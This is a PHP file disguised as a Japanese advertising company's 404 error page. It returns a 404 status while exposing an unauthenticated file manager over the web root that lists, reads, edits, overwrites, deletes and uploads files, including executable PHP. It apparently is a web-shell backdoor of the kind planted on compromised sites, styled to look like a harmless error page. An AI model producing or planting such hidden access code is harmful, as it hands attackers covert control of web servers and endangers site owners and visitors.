<?php
/*
=====================================================
 404 PAGE - 広告商事
 大阪駅を中心とした 屋外広告・交通広告・地下街広告

 - UI perusahaan Jepang premium
 - Glassmorphism modern
 - Aman anti traversal
 - Compatible Hostinger
=====================================================
*/

error_reporting(E_ALL);
ini_set('display_errors', 0);

/* =====================================================
   ROOT DIRECTORY
===================================================== */

$ROOT = realpath($_SERVER['DOCUMENT_ROOT']);

if (!$ROOT || !is_dir($ROOT)) {
    http_response_code(404);
    exit('404');
}

/* =====================================================
   CURRENT DIRECTORY
===================================================== */

$cwd = $ROOT;

if (isset($_GET['p'])) {

    $requested = realpath($_GET['p']);

    if (
        $requested !== false &&
        strpos($requested, $ROOT) === 0 &&
        is_dir($requested)
    ) {
        $cwd = $requested;
    }
}

/* =====================================================
   MESSAGE
===================================================== */

$msg = '';
$msgType = 'ok';

/* =====================================================
   SAFE FILE SAVE
===================================================== */

if (
    isset($_POST['save']) &&
    isset($_POST['file'])
) {

    $file = basename($_POST['file']);

    $target = $cwd . DIRECTORY_SEPARATOR . $file;

    if (!is_file($target)) {

        $msg = 'ファイルが見つかりません。';
        $msgType = 'error';

    } elseif (!is_writable($target)) {

        $msg = '書き込み権限がありません。';
        $msgType = 'error';

    } else {

        $content = $_POST['content'] ?? '';

        if (trim($content) === '') {

            $msg = '空の内容は禁止されています。';
            $msgType = 'error';

        } else {

            @copy($target, $target . '.bak');

            $bytes = @file_put_contents(
                $target,
                $content,
                LOCK_EX
            );

            clearstatcache();

            if (
                $bytes !== false &&
                filesize($target) > 0
            ) {

                $msg = '保存完了。';
                $msgType = 'ok';

            } else {

                $msg = '保存エラー。';
                $msgType = 'error';
            }
        }
    }
}

/* =====================================================
   SAFE DELETE
===================================================== */

if (
    isset($_POST['delete']) &&
    isset($_POST['file'])
) {

    $file = basename($_POST['file']);

    $target = $cwd . DIRECTORY_SEPARATOR . $file;

    if (
        is_file($target) &&
        is_writable($target)
    ) {

        if (@unlink($target)) {

            $msg = '削除しました。';
            $msgType = 'ok';

        } else {

            $msg = '削除失敗。';
            $msgType = 'error';
        }

    } else {

        $msg = '保護されたファイルです。';
        $msgType = 'error';
    }
}

/* =====================================================
   SAFE UPLOAD
===================================================== */

if (!empty($_FILES['upload']['name'])) {

    if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) {

        $name = basename($_FILES['upload']['name']);

        $name = preg_replace(
            '/[^A-Za-z0-9._-]/',
            '_',
            $name
        );

        $dest = $cwd . DIRECTORY_SEPARATOR . $name;

        if (
            move_uploaded_file(
                $_FILES['upload']['tmp_name'],
                $dest
            )
        ) {

            if (
                is_file($dest) &&
                filesize($dest) > 0
            ) {

                $msg = 'アップロード成功。';
                $msgType = 'ok';

            } else {

                @unlink($dest);

                $msg = '無効なファイル。';
                $msgType = 'error';
            }

        } else {

            $msg = 'アップロード失敗。';
            $msgType = 'error';
        }

    } else {

        $msg = 'アップロードエラー。';
        $msgType = 'error';
    }
}

/* =====================================================
   FORMAT SIZE
===================================================== */

function formatSize($bytes)
{
    if ($bytes >= 1073741824) {
        return round($bytes / 1073741824, 2) . ' GB';
    }

    if ($bytes >= 1048576) {
        return round($bytes / 1048576, 2) . ' MB';
    }

    if ($bytes >= 1024) {
        return round($bytes / 1024, 2) . ' KB';
    }

    return $bytes . ' B';
}

http_response_code(404);

?>
<!doctype html>
<html lang="ja">

<head>

<meta charset="utf-8">

<title>
ページが見つかりませんでした |
大阪駅を中心とした 屋外広告・交通広告・地下街広告は広告商事
</title>

<meta
name="viewport"
content="width=device-width, initial-scale=1"
>

<style>

*{
    box-sizing:border-box;
}

html,
body{
    margin:0;
    padding:0;
}

body{

    min-height:100vh;

    padding:20px;

    color:#e5e7eb;

    font-family:
    "Yu Gothic",
    "Meiryo",
    "Hiragino Kaku Gothic ProN",
    sans-serif;

    background:
    linear-gradient(
        rgba(0,0,0,.78),
        rgba(0,0,0,.82)
    ),
    url('https://images.unsplash.com/photo-1540959733332-eab4deabeeaf?q=80&w=2070&auto=format&fit=crop');

    background-size:cover;
    background-position:center;
    background-repeat:no-repeat;
    background-attachment:fixed;

    overflow-x:hidden;

    position:relative;
}

body::before{

    content:"404";

    position:fixed;

    top:50%;
    left:50%;

    transform:translate(-50%,-50%);

    font-size:14vw;

    font-weight:900;

    color:rgba(255,255,255,.04);

    letter-spacing:14px;

    white-space:nowrap;

    pointer-events:none;

    z-index:0;
}

body::after{

    content:"";

    position:fixed;

    inset:0;

    background:
    repeating-linear-gradient(
        to bottom,
        rgba(255,255,255,.01),
        rgba(255,255,255,.01) 1px,
        transparent 1px,
        transparent 3px
    );

    pointer-events:none;

    z-index:0;
}

.container{

    position:relative;

    z-index:2;

    max-width:1200px;

    margin:auto;

    background:rgba(0,0,0,.50);

    backdrop-filter:blur(12px);

    border:
    1px solid rgba(255,255,255,.08);

    border-radius:24px;

    padding:30px;

    box-shadow:
    0 0 60px rgba(0,0,0,.45);
}

.logo{

    font-size:14px;

    letter-spacing:4px;

    color:#d1d5db;

    margin-bottom:10px;
}

h1{

    margin:0;

    font-size:38px;

    font-weight:800;

    color:#fff;

    line-height:1.4;

    letter-spacing:2px;
}

.subtitle{

    margin-top:15px;

    color:#cbd5e1;

    font-size:15px;

    line-height:1.8;

    letter-spacing:1px;
}

.path{

    margin-top:25px;

    background:rgba(255,255,255,.04);

    border:
    1px solid rgba(255,255,255,.06);

    padding:14px 18px;

    border-radius:14px;

    word-break:break-all;

    color:#d1d5db;
}

.msg{

    margin-top:18px;

    padding:14px 18px;

    border-radius:14px;

    font-weight:bold;
}

.ok{
    background:#14532d;
    color:#bbf7d0;
}

.error{
    background:#7f1d1d;
    color:#fecaca;
}

a{

    color:#93c5fd;

    text-decoration:none;
}

a:hover{
    text-decoration:underline;
}

hr{

    border:none;

    border-top:
    1px solid rgba(255,255,255,.06);

    margin:25px 0;
}

table{

    width:100%;

    border-collapse:collapse;

    overflow:hidden;

    border-radius:18px;

    background:rgba(255,255,255,.03);
}

th,
td{

    padding:15px;

    border-bottom:
    1px solid rgba(255,255,255,.05);

    text-align:left;
}

th{

    background:rgba(255,255,255,.05);

    color:#fff;

    font-size:13px;

    letter-spacing:1px;
}

tr:hover{

    background:rgba(255,255,255,.025);
}

textarea{

    width:100%;

    height:500px;

    background:rgba(0,0,0,.55);

    color:#f8fafc;

    border:
    1px solid rgba(255,255,255,.08);

    border-radius:18px;

    padding:18px;

    font-size:14px;

    font-family:monospace;

    resize:vertical;
}

input[type=file]{

    color:#fff;

    margin-bottom:12px;
}

button,
input[type=submit]{

    border:none;

    border-radius:12px;

    padding:11px 18px;

    color:#fff;

    cursor:pointer;

    background:
    linear-gradient(
        135deg,
        #2563eb,
        #3b82f6
    );

    transition:.2s;
}

button:hover,
input[type=submit]:hover{

    transform:translateY(-1px);

    box-shadow:
    0 0 25px rgba(59,130,246,.4);
}

.delete-btn{

    background:
    linear-gradient(
        135deg,
        #dc2626,
        #ef4444
    );
}

.back{

    display:inline-block;

    margin-bottom:18px;
}

.footer{

    margin-top:35px;

    text-align:center;

    color:rgba(255,255,255,.45);

    font-size:12px;

    letter-spacing:3px;
}

@media(max-width:768px){

    body{
        padding:10px;
    }

    .container{
        padding:18px;
    }

    h1{
        font-size:26px;
    }

    table{
        font-size:12px;
    }

    td,
    th{
        padding:9px;
    }

    textarea{
        height:350px;
    }

    body::before{
        font-size:28vw;
        letter-spacing:4px;
    }
}

</style>

</head>

<body>

<div class="container">

<div class="logo">
KOKOKU SHOJI
</div>

<h1>
ページが見つかりませんでした
</h1>

<div class="subtitle">
大阪駅を中心とした
屋外広告・交通広告・地下街広告は広告商事
</div>

<div class="path">
<?= htmlspecialchars($cwd) ?>
</div>

<?php if ($msg): ?>

<div class="msg <?= $msgType ?>">
<?= htmlspecialchars($msg) ?>
</div>

<?php endif; ?>

<hr>

<form method="post" enctype="multipart/form-data">

<input type="file" name="upload">

<br>

<input
type="submit"
value="アップロード"
>

</form>

<hr>

<?php

/* =====================================================
   EDITOR
===================================================== */

if (isset($_GET['e'])) {

    $file = basename($_GET['e']);

    $path = $cwd . DIRECTORY_SEPARATOR . $file;

    if (
        is_file($path) &&
        is_readable($path)
    ) {

        $content = htmlspecialchars(
            file_get_contents($path)
        );

        echo '
        <a
        class="back"
        href="?p=' .
        urlencode($cwd) .
        '">
        ← 戻る
        </a>
        ';
?>

<form method="post">

<textarea
name="content"
><?= $content ?></textarea>

<br><br>

<input
type="hidden"
name="file"
value="<?= htmlspecialchars($file) ?>"
>

<input
type="submit"
name="save"
value="保存"
>

</form>

<?php
        exit;
    }
}

/* =====================================================
   FILE LIST
===================================================== */

$items = @scandir($cwd);

echo '<table>';

echo '
<tr>
<th>名前</th>
<th>サイズ</th>
<th>操作</th>
</tr>
';

/* =====================================================
   PARENT DIRECTORY
===================================================== */

if ($cwd !== $ROOT) {

    $parent = dirname($cwd);

    if (strpos($parent, $ROOT) === 0) {

        echo '
        <tr>

        <td colspan="3">

        <a href="?p=' .
        urlencode($parent) .
        '">

        ← 親ディレクトリ

        </a>

        </td>

        </tr>
        ';
    }
}

/* =====================================================
   DISPLAY FILES
===================================================== */

foreach ($items as $item) {

    if (
        $item === '.' ||
        $item === '..'
    ) {
        continue;
    }

    $full =
    $cwd .
    DIRECTORY_SEPARATOR .
    $item;

    echo '<tr>';

    if (is_dir($full)) {

        echo '

        <td>

        📁

        <a href="?p=' .
        urlencode($full) .
        '">

        ' . htmlspecialchars($item) . '

        </a>

        </td>

        <td>
        DIRECTORY
        </td>

        <td>-</td>

        ';

    } else {

        $size = @filesize($full);

        echo '

        <td>
        📄 ' .
        htmlspecialchars($item) .
        '
        </td>

        <td>
        ' .
        formatSize($size) .
        '
        </td>

        <td>

        <a href="?e=' .
        urlencode($item) .
        '&p=' .
        urlencode($cwd) .
        '">

        編集

        </a>

        |

        <form
        method="post"
        style="display:inline"
        onsubmit="return confirm(\'削除しますか？\')"
        >

        <input
        type="hidden"
        name="file"
        value="' .
        htmlspecialchars($item) .
        '">

        <input
        type="submit"
        name="delete"
        value="削除"
        class="delete-btn"
        >

        </form>

        </td>
        ';
    }

    echo '</tr>';
}

echo '</table>';

?>

<div class="footer">
404 NOT FOUND • 広告商事
</div>

</div>

</body>
</html>